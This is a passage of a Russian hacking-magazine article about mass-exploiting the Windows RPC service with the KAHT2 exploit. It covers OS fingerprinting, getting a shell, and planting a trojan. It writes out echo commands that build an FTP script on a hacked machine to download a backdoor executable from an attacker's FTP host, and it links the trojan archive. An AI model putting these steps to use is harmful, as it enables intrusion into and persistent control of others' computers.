Глобальный хак винды

RIP

Xakep, номер #057, стр. 057-068-2

1. Определить версию системы. С точностью до сервиспака. В противном случае хакер загубит сервис и потеряет жертву.

2. Установить троян, который поможет сохранить акцес к тачке. Дело в том, что эксплуатировать винду можно лишь один раз - при выходе из оболочки RPC-сервис уйдет в даун.

Определить версию винды довольно сложно. Конечно, просканить хост nmap'ом с опцией -O, либо XSpider'ом вполне реально, но, как известно, сканеры не идеальны. А ошибка равна смерти ;), сервис будет загублен, повторный взлом возможен лишь после перезагрузки. Определить OS можно и другим методом. Например, если на сервере светится 5000 порт, то это скорее WinXP, чем Win2k, потому как сервис, следящий за портом, включен по дефолту именно в XP.

Теперь о второй проблеме. Существует множество троянов, которые организуют удаленное управление виндой. Также есть способ "безпрограммного" администрирования, о котором будет сказано ниже. После того, как хакер разобрался в этих двух проблемах, он может применить эксплоит. Если таргет выбран верно, взломщик получит шелл. Перед этим на удаленной системе будет выполнена команда "ver".

Новые творения

Прошло двадцать дней. Юзеры до сих пор не ставят патчи, так как лезут к ним на 135 порт довольно редко. 12 августа некий эстонец (правильно говорят, что они сильно тормознутый народ) портировал RPC-эксплоит под винду, сделав его многопоточным и многоадресовым (www.securitylab.ru/?ID=39592, название бинарника KAHT2). Что это давало? Теперь все кому не лень могли сканить и ломать друг друга. При этом можно было забить на проблему детектирования OS, эксплоит чекал ее сам. С момента выхода Канта наступил рай для скрипткиддисов (они, в основном, и сидят в Windows), ведь для того чтобы сказать программе нужный диапазон, число потоков и нажать кнопку Enter, много ума не надо.

Эксплоит работает следующим образом: в качестве параметров ему задается диапазон IP-адресов и число трэдов. Если бинарник пронюхал дырявую систему, он забиндит на ней порт и соединится. Затем хакеру необходимо каким-то образом остаться в системе (создать шелл, минуя эксплоит). Для этого ставится троян. Подобной заразы в инете пруд пруди. Некоторые, например, юзают Phantom FTPD. По идее, это простой FTP-сервер, но исходя из невидимого запуска и прописки в реестр (либо конфиг), ему присвоили статус трояна.

Теперь о том, как залить бэкдор в систему. Для этого хакер регистрируется на каком-нибудь бесплатном хостинге (например, www.nm.ru) и получает FTP-аккаунт. Он заливает троянца на свой FTP (ссылка на вышеописанный Phantom: http://phantom-server.chat.ru/pfsini2.zip) и запоминает его местонахождение. Далее взломщику необходимо создать небольшой FTP-сценарий на похаканной машине (это куда удобнее, чем путаться во мраке неинтерактивных ответов ftp). Для этого юзается ряд консольных команд:

echo user username password > a

echo type binary >> a

echo get pfsini2.exe >> a

echo quit >> a

Затем нарушитель запускает клиент ftp со следующими параметрами: